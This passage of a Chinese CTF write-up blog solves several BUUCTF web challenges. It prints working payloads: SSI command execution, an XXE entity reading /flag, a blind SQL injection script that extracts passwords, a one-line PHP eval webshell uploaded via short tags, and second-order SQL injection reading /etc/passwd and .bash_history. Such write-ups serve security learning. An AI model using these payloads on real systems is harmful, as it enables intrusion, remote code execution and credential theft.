start = int(key[0]) # 开始位置
end = int(key[1]) # 结束位置
result = 0
for i in range(start, end):
# print(md5(i)[md5start:md5length])
if md5(i)[0:6] == keymd5: # 拿到加密字符串
result = i
print(result) # 打印
break


list=[] # 参数列表
for i in range(10): # 多线程的数字列表 开始与结尾
list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = ThreadPool() # 多线程任务
pool.map(findmd5, list) # 函数 与参数列表
pool.close()
pool.join()

也有个简单的脚本

1
2
3
4
5
6
7
import hashlib
def md5(s):
return hashlib.md5(s.encode('utf-8')).hexdigest()
for i in range(1, 10000000):
if md5(str(i)).startswith('6d0bc1'):
print(i)
break

碰撞出来的结果为:51302775
然后我们使用改密码登录,在响应头里面发现了生成的url


然后利用SSI注入漏洞,我们可以在username变量中传入ssi语句来远程执行系统命令。

1
<!--#exec cmd="命令"-->
1
<!--#exec cmd="ls ../"-->

然后访问生成的url得到flag目录
|
访问得到flag

[NCTF2019]Fake XML cookbook

一道简单的xml题目,抓包读取flag就可以了
payload:

1
2
3
4
5
6
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "file:///flag">
]>
<user><username>&admin;</username><password>fas</password></user>

[CISCN2019Web1]Easyweb

考点:

1:备份文件泄露
2:SQL注入
3:php短标签
短标签需要php.ini开启short_open_tag = On,但不受该条控制。

题目为一个登陆框,但是无论怎么输入都无回显,查看源码发现image.php?id=1,之后扫目录发现robots.txtupload.php 最后得到image.php.bak的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
?>

显示了SQL语句,并且当id为\0的时候经过str_replace替换后会生成\'注释掉,这样我们便可以在path处进行盲注
1588205986672

写一个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
url = 'http://299dd202-9663-4d3f-b60d-63e4e95e69f9.node3.buuoj.cn/image.php'
result = ''
for i in range(1,50):
high = 128
low = 32
mid = (high + low) // 2
while high>low:
payload = url + '?id=\\0' + '&path=%20or ascii(substr(database(),' + str(i) + ',1))>' + str(mid) + '%23'
payload2 = url + '?id=\\0' + '&path=%20or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),' + str(i) + ',1))>' + str(mid) + '%23'
payload3 = url + '?id=\\0' + '&path=%20or ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 1,1),' + str(i) + ',1))>' + str(mid) + '%23'
payload4 = url + '?id=\\0' + '&path=%20or ascii(substr((select password from users),' + str(i) + ',1))>' + str(mid) + '%23'
#print(payload3)
res = requests.get(url=payload4)
if 'JFIF' in res.text:
low=mid+1
mid = (low + high) // 2
else:
high=mid
mid=(low+high) // 2
result+=chr(mid)
print(result)

这里要将表名使用十六进制
1588211541198

得到密码为

admin e650500a1e55d7afe748

登陆后发现可以文件上传,上传一张图片后

1588212123754

php短标签

因为不允许上传带php的文件名,我们用php短标签来绕过
<?php @eval($_POST['a']);?>可以用<?=@eval($_POST['a']);?>来代替。这个文件名,会被写入日志文件中去

1588212453198

然后使用蚁剑连接便可以得到flag

1588212754536

[网鼎杯 2018]Comment

一个留言板,需要登录。
1588231108332

上面显示的应该就是用户名和密码了,密码盲猜后三位是数字,使用burp爆破得到为666。

1588231291536扫目录发现git源码泄漏,将源码下载下来,但是源码并不完整
再一次进行恢复
git log --reflog
git reset --hard af36ba2d86ee43cde7b95db513906975cb8ece03

write_do.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
#接受字符串并将特殊的字符转义
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
#写入 SQL语句
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
#执行sql
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']); #转义
$sql = "select category from board where id='$bo_id'"; #拼接
$result = mysql_query($sql);
$num = mysql_num_rows($result); #获取行数
if($num>0){
$category = mysql_fetch_array($result)['category'];#从结果集中取得一行作为关联数组,或数字数组
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

这里可以进行二次注入
首先写评论的时候数据写到board 然后再次评论的时候 category这个变量会从 board
表中读取然后构成二次注入
例如:
新发一个帖子,category里面填写', content=user(),/*
1588240792230

然后点详情,留言板里面留*/#', content=user(),/*闭合,从而形成二次注入,由于SQL语句有换行,所以使用/**/来进行多行注释。
1588240871436

此时的SQL语句为

1
2
3
4
insert into comment
set category = ' ', content=user(),/*',
content = '\*/#',
bo_id = '$bo_id'

效果应该是这样
1588242588044

之后读取一下/etc/passwd文件

‘,content=(select load_file(‘//etc/passwd’)),/*

1588242823815

得到www目录
然后查看用户的命令记录

‘,content=(select load_file(‘/home/www/.bash_history’)),/*

1588243141018

在读取.DS_Store文件,该文件在/tmp/html里面

‘,content=(select load_file(‘/tmp/html/.DS_Store’)),/*

结果只显示了一部分,于是使用十六进制读取

‘,content=(select hex(load_file(‘/tmp/html/.DS_Store’))),/*

flag_8946e1ff1ee3e40f.php

‘,content=(select hex(load_file(‘/var/www/html/flag_8946e1ff1ee3e40f.php’))),/*

解码后得到flag

文章作者:CyzCc
最后更新:2020年06月25日 19:06:55
原始链接:https://cyzcc.vip/2020/04/14/BUU-web4/
版权声明:转载请注明出处!
您的支持就是我的动力!
-------------    本文结束  感谢您的阅读    -------------